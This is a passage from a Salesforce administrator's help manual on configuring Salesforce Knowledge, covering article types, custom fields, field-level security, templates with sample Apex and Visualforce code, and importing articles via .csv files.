Select a default article type. For articles created when closing a case, assign the article to a user. You can help agents create articles more quickly by selecting an Apex class that pre-populates any of the fields on the draft. By default the Title field in all draft articles contains the case subject. If you enable this option, also click Layout Properties on each case-close page layout and select Enable submissions during case close and Submit Articles. Use a profile to create customer-ready article PDFs on cases By default, when a user creates an article PDF directly from a case, the PDF includes all the article fields visible to that user. If you want PDFs to be generated according to a different profile, for example, a profile that hides certain fields from customers, select Use a profile to create customer-ready article PDFs on cases and choose the profile that should determine field visibility. Allow users to share articles via public URLs. You can share an article that is available on a public knowledge base with a URL. In the Available Sites list, select the sites you want to allow your agents to send URLs from and add them to the Selected Sites list. Agents can then email customer service clients with a URL to link directly to the article in your public knowledge base. Allow users to create an article from a reply If this checkbox is selected, members of an answers community or Chatter Answers community can convert helpful replies into articles. The article type you select determines which fields appear on the draft article, but on all articles the Title contains the question and the Summary contains the reply. After a reply is promoted to an article, the original reply has a status message indicating its association with the draft article. When the article is published, the message on the reply includes a link to the article.

See Also:
Salesforce Knowledge Overview Setting Up Salesforce Knowledge Salesforce Knowledge Terminology Example Apex Customization for Submitting Articles from Cases

Example Apex Customization for Submitting Articles from Cases


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit Salesforce Knowledge settings: To create an Apex class: Customize Application Author Apex

Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization, a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com

1524

Customize

Customizing Salesforce Knowledge Settings

Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master Subscription Agreement. If your organization allows customer-support agents to create Salesforce Knowledge articles while closing a case, you can use Apex to pre-populate fields on draft articles. To do so, create an Apex class and assign it to the case article type using the example below as a guide. For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide. Set up the example by creating the following article type, field, and data categories. Do not change the default API Name assigned to each new object. 1. 2. 3. 4. Create an article type called FAQ. Create a text custom field called Details. Create a category group called Geography and assign it a category called USA. Create a category group called Topics and assign it a category called Maintenance.

To finish the example, create and assign the Apex class: 1. Go to the Your Name > Setup > Develop > Apex Classes page and click New. 2. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. You can specify an older version of Apex and the API to maintain specific behavior. 3. In the Apex Class text box enter the following script and click Save:
public class AgentContributionArticleController { // The constructor must take a ApexPages.KnowledgeArticleVersionStandardController as an argument public AgentContributionArticleController(ApexPages.KnowledgeArticleVersionStandardController ctl) { SObject article = ctl.getRecord(); //this is the SObject for the new article. //It can optionally be cast to the proper article type, e.g. FAQ__kav article = (FAQ__kav) ctl.getRecord(); String sourceId = ctl.getSourceId(); //this returns the id of the case that was closed. Case c = [select subject, description from Case where id=:sourceId]; article.put('title', 'From Case: '+c.subject); //this overrides the default behavior of pre-filling the title of the article with the subject of the closed case. article.put('Details__c',c.description); ctl.selectDataCategory('Geography','USA'); //Only one category per category group can be specified. ctl.selectDataCategory('Topics','Maintenance'); }

4. On the Your Name > Setup > Customize > Knowledge > Settings page click Edit. 5. Verify the case settings; using our example, the Default article type should be FAQ. 6. From the Use Apex Customization menu, select AgentContributionArticleController and click Save. As a result of this example, when agents create an article from the case-close screen:

1525

Customize

Managing Article Types

The data from the Description field on the case appears in the Details field of the article. The title of the article contains From Case: and the case subject. The article is automatically assigned to the USA data category and the Maintenance data category.

See Also:
Setting Up Salesforce Knowledge Apex Code Overview

Managing Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete article types: Customize Application AND Manage Salesforce Knowledge

When creating an article, the author must select an article type. Article types, such as FAQs and Tutorials, provide the format and structure to control how an article displays for each audience, known as a channel. For each article type you can create custom fields, customize the layout by adding or removing sections and fields, and choose a template for each channel. You can also create workflow rules and approval processes to help your organization track and manage article creation and publication. See Workflow and Approvals Overview on page 1866 for more information. After creating your article types, you can customize, edit, and delete them. Click Your Name > Setup > Customize > Knowledge > Article Types to display the Article Types list page, which provides a list of all the article types defined for your organization. From the Article Types list page you can: Click New Article Type to define an article type. Click the article-type name to display the detail page. On the detail page you can edit existing fields, add new custom fields, add and edit sections on the article-type layout, and select a template for each channel. Click Del to delete an article type.

See Also:
Defining Article Types Using the Fields Related List Modifying Article-Type Layouts Assigning Article-Type Templates

1526

Customize

Defining Article Types

Defining Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete article types: Customize Application AND Manage Salesforce Knowledge

The first step when setting up Salesforce Knowledge is to create one or more article types. You cannot enable Salesforce Knowledge until at least one article type is created. When creating an article, the author must select an article type. Article types, such as FAQs and Tutorials, provide the format and structure to control how an article displays for each audience, known as a channel. For each article type you can create custom fields, customize the layout by adding or removing sections and fields, and choose a template for each channel. You can also create workflow rules and approval processes to help your organization track and manage article creation and publication. See Workflow and Approvals Overview on page 1866 for more information. Note: Before users can access article types, an administrator must set object permissions for article types. For more information, see Object Permissions on page 594. To create an article type: 1. Click Your Name > Setup > Customize > Knowledge > Article Types. 2. Click New Article Type or edit an existing article type. 3. Enter the following: Field
Label

Description A name used to refer to the article type in any user interface pages. The plural name of the object. If you create a tab for this object, this name is used for the tab. If it is appropriate for your organizations default language, specify the gender of the label. This field appears if the organization-wide default language expects gender. Your personal language preference setting does not affect whether the field appears. For example, if the organizations default language is English and your personal language is French, you are not prompted for gender when creating an article type. If it is appropriate for your organizations default language, check if your label should be preceded by "an" instead of "a."

Plural Label

Gender

Starts with a vowel sound

1527

Customize

Defining Article Types

Field
Object Name

Description (Read only) A unique name used to refer to the article type when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. The Object Name field can contain only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. An optional description of the article type. A meaningful description will help you remember the differences between your article types when you are viewing them in a list. Select this option to track the full history of an article and its versions. The system records and displays field updates, publishing workflow events, and language versions for the master article and any translations. Indicates whether the article type is visible outside Setup. In Development means article managers cannot choose this article type when creating articles. Only select Deployed after you are done creating the article type.

Description

Track Field History

Deployment Status

4. Click Save. 5. On the article type detail page, complete the following information: In the Fields related list, create or modify custom fields as needed. In the Fields related list, edit the article-type layout as needed to rearrange fields and create sections. In the Channel Displays related list, choose a template for the internal application, Customer Portal, public knowledge base, and partner portal.

See Also:
Adding Custom Fields to Article Types Modifying Article-Type Layouts Assigning Article-Type Templates Salesforce Knowledge Terminology

1528

Customize

Defining Article Types

Using the Fields Related List


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change custom fields: To modify article-type layouts: Customize Application Manage Salesforce Knowledge

On the Fields related list on the article-type detail page, you can: Edit the Article Number, Summary, Title, and URL Name standard fields. These fields are required on all article types and cannot be deleted. Click New to create a custom field. All article types should have at least one rich text area field for writing article text and a File field for attaching documents to articles. For help deciding which type of custom fields your article type needs, review the custom fields for article types. Click Set History Tracking to track field updates for the article type. Click Edit Layout to rearrange or remove fields and modify sections for the article type.

See Also:
Adding Custom Fields to Article Types Custom Field Types on Articles Modifying Article-Type Layouts Setting an Article's Field-Level Security

Adding Custom Fields to Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change custom fields: Customize Application AND Manage Salesforce Knowledge

Create custom fields to store information that is important to your articles. Before you begin, determine the type of custom field you want to create. The only standard fields provided on article types are Article Number, Summary, Title, and URL Name, so at minimum you'll want to create a field where authors can write the body of the article.

1529

Customize

Defining Article Types

Note: Authors can view the URL Name when they create or edit an article. The URL Name does not appear to end users viewing published articles. To add a custom field: 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Knowledge > Article Types. Select an article type. Click New in the Fields related list. Choose the type of field to create, and click Next. Enter a field label. The field name is automatically populated based on the field label you enter. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Ensure the custom field name is not identical to any standard field name for that object. 6. Enter any field attributes, such as Description, and click Next to continue. Note: You cannot enter a default value for any custom field.

7. Set the field-level security to determine whether the field should be visible and editable or read only for specific profiles, and click Next. Field-level security allows you to control which fields are visible in different channels. 8. If you do not want the field to be added automatically to the article-type layout, uncheck Yes, add this custom field to the layout. 9. Click Save to finish or Save & New to create more custom fields. 10. Optionally rearrange your custom fields on the article-type layout. Note: Creating fields may require changing a large number of records at once. To process these changes efficiently, Salesforce may queue your request and send an email notification when the process has completed. Warning: You will lose your data if you convert a custom field on an article type into any other field type. Do not convert a custom field on an article type unless no data exists for the field.

See Also:
Changing Custom Field Type Setting an Article's Field-Level Security Modifying Article-Type Layouts Assigning Article-Type Templates Salesforce Knowledge Terminology

1530

Customize

Defining Article Types

Setting an Article's Field-Level Security


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set field-level security: Customize Application AND Manage Salesforce Knowledge

Field-level security lets administrators restrict users access to specific fields on detail and edit pages. For example, you can make a Comment field in an article visible for Internal App profiles but not for Customer Portal profiles. If using both article-type layout and field-level security to define field visibility, the most restrictive field access setting always applies. For example, if a field is hidden in the article-type layout, but visible in the field-level security settings, the layout overrides security settings and the field won't be visible. Some user permissions override both page layouts and field-level security settings. For example, users with the Edit Read Only Fields permission can always edit read-only fields regardless of any other settings. Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer Support. To define field-level security: 1. Define security via a permission set, profile, or field. For permission sets or profiles: a. Select Your Name > Setup > Manage Users, then click Permission Sets or Profiles. b. Select a permission set or profile. c. Depending on which interface you're using, do one of the following: Permission sets or enhanced profile user interfaceIn the Find Settings... box, enter the name of the object you want and select it from the list. Click Edit, then scroll to the Field Permissions section. Original profile user interfaceIn the Field-Level Security section, click View next to the object you want to modify, and then click Edit. For fields: a. Select Your Name > Setup > Customize > Knowledge > Article Types. b. Select the article type that contains the field to modify. c. Select the field and click Set Field-Level Security. 2. Specify the field's access level.

1531

Customize

Defining Article Types

Note: These field access settings override any less-restrictive field access settings on the article-type layouts.

3. Click Save. After setting field-level security, you can modify the article-type layouts to organize the fields on detail and edit pages.

See Also:
Adding Custom Fields to Article Types Modifying Article-Type Layouts Salesforce Knowledge Terminology

Custom Field Types on Articles


The first step in creating a custom field for articles is choosing the field type. The following custom field types are available. Field Type Date Description Allows users to enter a date or pick a date from a popup calendar. In reports, you can limit the data by specific dates using any custom date field. Allows users to enter a date or pick a date from a popup calendar, and enter a time of day. They can also add the current date and time by clicking the date and time link next to the field. The time of day includes AM or PM notation. In reports, you can limit the data by specific dates and times using any custom date field. Allows users to upload and attach a file to an article. Note the following caveats about File fields: The maximum attachment size is 5 MB. You can add up to 5 File fields to each article type; contact Salesforce to increase these limits. If the Disallow HTML documents and attachments security setting is enabled, File fields do not support HTML files. Text content in a File field attachment is searchable. You can search up to 25 MB of attached files on an article. For example, if an article has six 5MB file attachments, the first 4.16 MB of each file is searchable. You cannot attach Salesforce CRM Content files using the File field. The File field type is not supported in Developer edition. The filename cannot exceed 40 characters. You cannot convert a File field type into any other data type.

Date/Time

File

1532

Customize

Defining Article Types

Field Type Picklist Picklist (Multi-select)

Description Allows users to select a value from a list you define. Allows users to select more than one picklist value from a list you define. These fields display each value separated by a semicolon. Allows users to enter any combination of letters, numbers, or symbols. You can set a maximum length, up to 255 characters. Allows users to enter up to 255 characters that display on separate lines similar to a Description field. Allows users to enter up to 32,768 characters that display on separate lines similar to a Description field. You can set the length of this field type to a lower limit, if desired. Any length from 256 to 32,768 characters is allowed. Note that every time you press Enter within a long text area field, a linebreak and a return character are added to the text. These two characters count toward the 32,768 character limit. This data type is not available for activities or products on opportunities. Allows users to enter up to 32,768 characters of HTML-supported text. See Using Rich Text Area Fields on page 1128.

Text Text Area Text Area (Long)

Text Area (Rich)

See Also:
Changing Custom Field Type Salesforce Knowledge Terminology Adding Custom Fields to Article Types

Tracking Article History Events


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete article types: Customize Application AND Manage Salesforce Knowledge

You can track the history of certain fields in articles. Modifying any of these fields adds a new entry to the History related list. All entries include the date, time, nature of the change, and who made the change. History data does not count against your organizations storage limit. Note that not all field types are available for history tracking. You can also set tracking for the

1533

Customize

Defining Article Types

article type and track the full history of an article and its versions. Salesforce stores up to 1000 of the most current tracked events per article. The system records and displays field updates, publishing workflow events, and language versions for the master article and any translations. When you track old and new values, the system records both values as well as the date, time, nature of the change, and the user who made the change. When you track only the changed values, the system marks the changed field as having been edited; it doesnt record the old and new field values. This information is available in the Version History list and the fields are available in the Article Version History report. Article history respects field, entity, and record-level security. You must have at least Read permission on the article type or the field to access its history. For data category security, Salesforce determines access based on the categorization of the online version of an article. If there is no online version, then security is applied based on the archived version, followed by the security of the draft version. 1. 2. 3. 4. 5. Click Your Name > Setup > Customize > Knowledge. Click Article Types. Create an article type or edit one from the Article Types list. Click Set History Tracking. Choose the fields you want to track. Salesforce begins tracking history from that date and time. Changes made before that date and time are not tracked. 6. Click Save.

See Also:
Tracking Field History

Modifying Article-Type Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize the article-type layout: Customize Application AND Manage Salesforce Knowledge

Article-type layouts determine which fields users can view and edit when entering data for an article. They also determine which sections appear when users view articles. The format of the article, for example whether layout sections display as subtabs or as a single page with links, is defined by the article-type template. Each article type has only one layout, but you can choose a different template for each of the article type's four channels. Tip: You can also use field-level security to hide fields on article types. For example, if you publish the same article in the internal app and the Customer Portal, you may want to use field-level security to hide a custom field such as Internal Comments from Customer Portal users. To modify an article-type layout:

1534

Customize

Defining Article Types

1. 2. 3. 4.

Click Your Name > Setup > Customize > Knowledge > Article Types. Select one of the article types in the list. In the Fields related list, click Edit Layout. When working on the layout: The layout editor consists of two parts: a palette on the upper portion of the screen and the layout on the lower portion of the screen. The palette contains the available fields and a section element. The layout contains an Information section and space for you to add sections. By default, all custom fields are included in the Information section. Note: The Article Number, Summary, Title, and URL Name standard fields do not display in the layout. Article Number and Summary appear in a read-only Properties section at the top of the published article. Also included in this header are the First Published, Last Modified, and Last Published fields. To add a new section, drag and drop the section element into the palette. To change the name of a section, click its title. You cannot rename the Information section. To remove a field from a section, drag it to the right side of the palette or click the icon next to the field. To remove a section from the article-type layout, click the icon next to the section name. Use the undo and redo buttons to step backwards and forwards, respectively. Use the following keyboard shortcuts: Undo = CTRL+Z Redo = CTRL+Y Quick Save = CTRL+S To select multiple elements individually, use CTRL+click. To select multiple elements as a group, use SHIFT+click . To quickly locate any item in the palette, use the Quick Find box. The Quick Find box is especially useful for article-type layouts that have large numbers of items available in the palette. To save your changes and continue editing the article-type layout, click Quick Save. To save your changes when you are done customizing the article-type layout, click Save. If you navigate away from your article-type layout before clicking save, your changes will be lost.

See Also:
Defining Article Types Adding Custom Fields to Article Types Setting an Article's Field-Level Security Assigning Article-Type Templates

1535

Customize

Defining Article Types

Assigning Article-Type Templates


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit article-type template assignments: Manage Salesforce Knowledge

Article types in Salesforce Knowledge require a template for each channel. The article-type template specifies how the sections defined in the article-type layout are rendered. Salesforce provides two standard article-type templates, Tab and Table of Contents, and you can use Visualforce to create custom templates. If you choose the Tab template, the sections you defined in the layout appear as tabs when users view an article.

Figure 7: Published Article Using the Tab Article-Type Template If you choose the Table of Contents template, the sections you defined in the layout appear on one page with hyperlinks to each section title.

Figure 8: Published Article Using the Table of Contents Article-Type Template To choose the template assignment for a channel: 1. 2. 3. 4. Click Your Name > Setup > Customize > Knowledge > Article Types. Click a label to view the article-type detail page. In the Channel Displays related list, click Edit. For each channel, specify the template.

1536

Customize

Defining Article Types

For the internal app and the portals, Tab is the default template. For the public knowledge base, Table of Contents is the default template. If your organization has a custom template for this article type, it also appears in the drop-down menu. 5. Click Save.

See Also:
Modifying Article-Type Layouts Defining Article Types Salesforce Knowledge Terminology

Creating Custom Article-Type Templates


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, or delete article-type templates: Customize Application AND Manage Salesforce Knowledge

Article types in Salesforce Knowledge require a template for each channel. The standard article-type templatesTab and Table of Contentsspecify how the sections in the article-type layout appear in the published article. For example, if you choose the Tab template, the sections defined in the layout appear as tabs when users view an article. With the Table of Contents template, sections appear on a single page with hyperlinks to each section. You can also create a custom template using Visualforce. Custom templates are not associated with the article-type layout. To create a custom article-type template: 1. Click Your Name > Setup > Customize > Knowledge > Article Types. 2. Find the article type you are creating the template for and click its title to open the detail page. Note the article type's API Name. You will need this value when you create the Visualforce page. 3. Click Your Name > Setup > Develop > Pages. 4. Click New. 5. In the Name text box, enter the text that should appear in the URL as the page name. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 6. In the Label text box enter the text that users will see when choosing this template from the Channel Displays related list on the article type detail page. 7. Add your Visualforce markup. The only requirement for custom article-type templates is that the standard controller be equal to the API Name of the article type. For example, if the API Name of the article type is Offer__kav, your markup would be:
<apex:page standardController="Offer__kav"> ... page content here ...

1537

Customize

Defining Article Types

</apex:page>

Note: Click Component Reference for a list of the Visualforce components, such as knowledge:articleRendererToolbar and knowledge:articleCaseToolbar, available for use in custom article-type templates. 8. If your article type has a File field, you can allow users to download the field's content. In the following example, the article type is Offer, the name of the File field is my_file, and the text that appears as a link is Click me:
<apex:outputLink value="{!URLFOR($Action.Offer__kav.FileFieldDownload, Offer__kav.id, ['field'=$ObjectType.Offer__kav.fields.my_file__Body__s.name])}">Click me</apex:outputLink>

Note: If the File field is empty (meaning the author didn't upload a file), the link still appears on the published article but has no function. If you do not want the link to appear when the File field is empty, replace Click me in the example with the name of the file, for example, {!Offer__kav.my_file__Name__s}. 9. Click Save. Your custom template can now be assigned to any channel on the article type. See Assigning Article-Type Templates on page 1536 for details.

See Also:
Developer's Guide: Visualforce Developer's Guide Managing Visualforce Pages Managing Article Types Salesforce Knowledge Terminology

Deleting Article Types


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To delete article types: Customize Application AND Manage Salesforce Knowledge

To delete an article type: 1. Click Your Name > Setup > Customize > Knowledge > Article Types. 2. Next to the target article type, click Del. 3. Confirm that you want to delete the article type.

1538

Customize

Defining Validation Status Picklist Values

Notes on Deleting Article Types Note the following about deleting article types: If your organization has only article type, you cannot delete it. Every Salesforce Knowledge org requires at least one deployed article type. Create a new article type and then delete the old one. Any articles associated with a deleted article type are automatically removed from all channels. This includes draft, published, and archived articles. Salesforce does not display deleted article types in the Recycle Bin with other deleted records. Instead, deleted article types appear in the Deleted Article Types list on the article list view page for 15 days. During this time you can restore the article type and its articles, or permanently erase the article type and its articles. After 15 days, the article type and its articles are permanently erased. If a user clicks a bookmark to a deleted article's URL, an Insufficient Privileges message displays.

See Also:
Defining Article Types Salesforce Knowledge Terminology

Defining Validation Status Picklist Values


This page enables you to add or edit article validation statuses for article types. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change validation status picklist values: Customize Application AND Manage Salesforce Knowledge

When the Validation Status field is enabled on the Knowledge Settings page, you can create picklist values that show the state of the article in the article publication lifecycle. For example, values in the article lifecycle could be Validated, Not Validated, or Needs Review. Note: Validation status picklist values arent retained when you export articles for translation. Articles with picklist values can be imported, however, and their values are retained as long as the values exist in your organzation. 1. Click Your Name > Setup > Customize > Knowledge > Validation Statuses. 2. On the picklist edit page, click New to add new values to the validation status field. You can also edit , delete, reorder, and replace picklist values. When you replace a picklist value, the system replaces it in all versions of the article, including any archived versions. 3. Add one or more picklist values (one per line) in the text area. 4. To set the value as the default for the picklist, be sure to select the Default checkbox.

1539

Customize

Assigning Article Actions to Public Groups

5. Click Save.

See Also:
Managing Articles and Translations

Assigning Article Actions to Public Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create public groups and assign them to article actions: Customize Application AND Manage Users AND Manage Salesforce Knowledge

Article actions allow users to manage the article publishing and translation processes. By default all article actions are assigned to users with the Manage Articles user permission, and users can complete an action as long as they also have the correct article type permissions (as described in the table below). You can set up more granular control of article actions by restricting them to public groups. This table summarizes the article type permissions that are required for each article action. Article Action Publish Articles Archive Articles Delete Articles Edit Published and Archived Articles Submit Articles for Translation Publish Translation Edit Translation Create Read Edit Delete

To assign article actions to public groups: 1. Create a public group for each set of users.

1540

Customize

Assigning Article Actions to Public Groups

Note: Although you can add any Salesforce user to a public group, only users with the Manage Articles user permission and the appropriate object permissions can perform article actions. 2. Click Your Name > Setup > Customize > Knowledge > Article Actions and decide which users need to perform which actions. For example, you might decide that a group named Publishers needs to publish, archive, and delete articles and that a group named Translators needs to submit articles for translation and publish and archive translated articles. 3. Assign the public groups to article actions: a. On the Your Name > Setup > Customize > Knowledge > Article Actions page click Edit. b. For the action you want to modify, select the appropriate radio button and choose a public group. If you don't modify an article action, all users with the Manage Articles permission can perform that action. c. Click OK and Save.

See Also:
Creating and Editing Groups Setting Up Salesforce Knowledge User Permissions Defining Article Types

1541

Customize

Importing Articles

Importing Articles
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export AND Read, Create, Edit, and Delete on the article type To view articles: To create articles: Read on the article type Manage Articles AND Read and Create on the article type

You can import your existing articles and their translations into Salesforce Knowledge. This importer is for articles and translations you currently have outside Salesforce Knowledge. Note: If you are looking for instructions on importing translated articles that you've sent to a localization vendor, see Importing Article Translations on page 1553. After setting up Salesforce Knowledge, complete the tasks below to import articles: 1. 2. 3. 4. 5. Prepare Articles for Import to Salesforce Knowledge Create a .csv File for Article Import Specify Parameters for Article Import Create a .zip File for Article Import View Salesforce Knowledge Import and Export Status

See Also:
Salesforce Knowledge Overview Setting Up Salesforce Knowledge

1542

Customize

Importing Articles

Prepare Articles for Import to Salesforce Knowledge


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export AND Read, Create, Edit, and Delete on the article type To view articles: To create articles: Read on the article type Manage Articles AND Read and Create on the article type

Important: You must import articles one article type at a time.

To prepare articles for importing: 1. Sort your existing articles by information type. For example: FAQ, product information, or offer. 2. Ensure that each information type has a corresponding Salesforce Knowledge article type that matches its structure and content. For example, if you are importing FAQs, ensure that Salesforce Knowledge has an FAQ article type with enough question and answer fields to accommodate the largest FAQ article. Note: The article importer does not support sub-fields. If you have fields within fields, youll need to adjust your structure and content before importing into Salesforce Knowledge. 3. Verify that the article's field-level security settings allow you to edit the fields. If your articles contain .html files, use an article type that contains a rich text area field and ensure that the HTML is compliant with the tags and attributes supported in the rich text area field.

1543

Customize

Importing Articles

Tip: Test your import using a small set of articles.

See Also:
Importing Articles Create a .csv File for Article Import

Create a .csv File for Article Import


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export AND Read, Create, Edit, and Delete on the article type To view articles: To create articles: Read on the article type Manage Articles AND Read and Create on the article type

Each .csv file imports articles into one article type and maps the imported articles' content with the article type's fields. For example, a .csv file might map articles' titles with the standard field Title in an article type, meaning that each article's title is imported into the Title field. 1. Create one .csv file per article type. .csv files cant have more than 10,000 rows, including the header row. Therefore, you can have a maximum of 9,999 articles and translations. .csv file rows cant exceed 400,000 characters. .csv file cells cant exceed 32 KB. Each article in the .csv file cant have more than 49 translations.

1544

Customize

Importing Articles

2. In the first row, specify the article type's fields and metadata (such as language data categories or channels). Enter one item in each column. You can use the following fields and metadata to import content:
isMasterLanguageidentify the article as a master (1) or translation (0). Required to import articles with translations,

however, it cant be in a .csv file to import articles without translations. Translations must follow their master articles so that they are associated with the master article preceding it. Titlethe article or translations title. Required for all imports. Standard or custom fieldsrefer to an article type's standard fields using field names and refer to custom fields using API names. Leaving a row cell empty may cause your articles to be skipped if the related article-type field is mandatory. Rich text area fielduse the rich text area custom fields to import .html files or images. Refer to an article type's rich text area field using its API name. File fielduse the file custom fields to import any file type (.doc, .pdf, .txt, etc.). Refer to an article type's file field using its API name. To categorize the imported articles, use category groups; refer to a category group using its unique name prefixed with datacategorygroup. For example, use datacategorygroup.Products to specify the category group Products. To specify where the imported articles are available, use the keyword Channels. Languagespecify the articles' language. Required to import articles with translations. Optional to import articles without translations. If you don't include this column, the articles will automatically belong to the default knowledge base language and you cant import translations along with the master articles.

3. In subsequent rows, specify the articles you want to import. Use one row per article and enter the appropriate information in each article type field column or metadata column. Standard or custom fieldsenter the articles' data for each field, except for rich text area fields where you must enter the relative path to the corresponding .html file in your .zip file. Note: The article importer does not support sub-fields. If you have fields within fields, youll need to adjust your structure and content before importing into Salesforce Knowledge. Rich text area fieldalways enter the .html file path relative to the location of the .csv file. Never enter raw text. If the specified path doesn't exist, the related article isn't imported. Note the following information about importing HTML and images: We recommend that you create separate folders for the .html files (for example, /data) and the images (for example, data/images). To import images, include the images in an .html file using the <img> tag and src attribute. Ensure that the src value is a relative path from the .html file to the image folder. Images must be .png, .gif, or .jpeg files. Each image file cant exceed 1 MB. .html files cant exceed the maximum size for their field. If a date doesn't match the date format specified in the property file, the related article isn't imported. If an .html file references a file that isn't allowed, the related article isn't imported. If an .html file references an image that's missing, the related article is imported without the image. File fieldenter the path relative to the file's location. If the specified path doesn't exist, the related article isn't imported. Note the following information about importing files: We recommend that you create a folder for your files (for example, /files). Each file must not exceed 5 MB.

1545

Customize

Importing Articles

Category groupsuse category unique names to categorize articles. Use the plus symbol (+) to specify more than one category. For example, Laptop+Desktop. Note the following information about data category groups: Leaving the cell row empty causes your article to be set to No Categories. If you specify a category and its parent (for example, Europe+France) the import process skips the child category France and keeps the parent category Europe, because application of a parent category implicitly includes the category's children. When importing articles with translations and associated data categories, only the master article retains the data categories. The article translations have no associated data category upon import.

Channelsspecify articles' channels using the keywords:


application for the internal application. If you don't specify a channel, application is the default. sites for a public knowledge base. csp for the Customer Portal. prm for the partner portal.

Use the plus (+) symbol to specify more than one channel (for example, application+sites+csp to make an article available in all channels). Note: When importing articles with translations and associated channels, only the master article retains the channels. The article translations have no associated channels upon import.

The following example .csv files import articles in a Product Offer article type. The first example is for imports of articles without translations. The second is for imports with translations. The .csv files contain titles, summaries, and descriptions. They also classify the articles in the category group Products and make them available for specific channels. The description__c field is a rich text area and only supports paths to .html files. The summary__c field is a text field and only supports raw text. The Best Desktop Computer Deals article has no summary; the cell is left blank because the summary__c field is not mandatory. Title Free Digital Camera Offer Best Desktop Computer Deals Free Shipping on Laptop and Desktops summary__c Get the new Digital Camera. description__c data/freecam.html data/bestdeals.html data/freeship.html datacategorygroup .Products Channels

Consumer_ Electronics application+csp Desktop Laptop+Desktops application+csp application+csp

Example articlesimport.csv file:


Title,summary__c,description__c,datacategorygroup.Products,Channels Free Digital Camera Offer, Get the new Digital Camera.,data/freecam.html,Consumer_Electronics,application+csp Best Desktop Computer Deals,,data/bestdeals.html,Desktop,application+csp Free Shipping on Laptop and Desktops,,data/freeship.html,Laptop+Desktops,application+csp

1546

Customize

Importing Articles

isMaster Language 1 0 0 1 0 0 1 0

Title

summary__c

description__c data/freecam.html

datacategorygroup .Products Consumer_ Electronics

Channels application +csp

Language en_US fr es

Free Digital Camera Offer Get the new Digital Camera.

Librer l'Offre d'Appareil Obtenir le nouvel Appareil data/freecam/fr.html photo digital photo digital. Liberte Oferta Digital de Cmara Best Desktop Computer Deals Meilleures Affaires d'ordinateurs de bureau Mejores Tratos de ordenadores Free Shipping on Laptops and Desktops Librer Affranchissement sur Portables et Ordinateurs Liberte Franqueo en Laptops y Ordenadores Consiga la nueva Cmara Digital. data/freecam/es.html data/bestdeals.html data/bestdeals/fr.html data/bestdeals/es.html data/freeship.html data/freeship/fr.html Laptops+ Desktops application +csp Desktops application +csp

en_US fr es en_US fr

data/freeship/es.html

es

Example articlestranslationsimport.csv file:


isMasterLanguage,Title,summary__c,description__c,datacategorygroup.Products,Channels,Language 1,Free Digital Camera Offer,Get the new Digital Camera,data/freecam.html,Consumer_Electronics,application+csp,en 0,Librer l'Offre d'Appareil photo digital,Obtenir le nouvel Appareil photo digital.,data/freecam/fr.html,,,fr 0,Liberte Oferta Digital de Cmara,Consiga la nueva Cmara Digital.,data/freecam/es.html,,,es 1,Best Desktop Computer Deals,,data/bestdeals.html,Desktops,application+csp,en 0,Meilleures Affaires d'ordinateurs de bureau,,data/bestdeals/fr.html,,,fr 0,Mejores Tratos de ordenadores,,data/bestdeals/es.html,,,es 1,Free Shipping on Laptop and Desktops,,data/freeship.html,Laptops+Desktops,application+csp,en 0,Librer Affranchissement sur Portables et Ordinateurs,,data/freeship/fr.html,,,fr 0,Liberte Franqueo en Laptops y Ordenadores,,data/freeship/es.html,,,es

See Also:
Importing Articles Prepare Articles for Import to Salesforce Knowledge Specify Parameters for Article Import

1547

Customize

Importing Articles

Specify Parameters for Article Import


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import articles: Manage Salesforce Knowledge AND Manage Articles AND Manage Knowledge Article Import/Export AND Read, Create, Edit, and Delete on the article type To view articles: To create articles: Read on the article type Manage Articles AND Read and Create on the article type

Specify import parameters in a property file using key names and corresponding values. For example, use the key DateFormat to specify that a date custom field appears in the DateFormat=dd/MM/YYYY format or specify the character encoding to be used for the import. Create a file with the .properties extension and specify the required parameters, as described in this table. Key DateFormat DateTimeFormat CSVEncoding CSVSeparator RTAEncoding Description Default Value

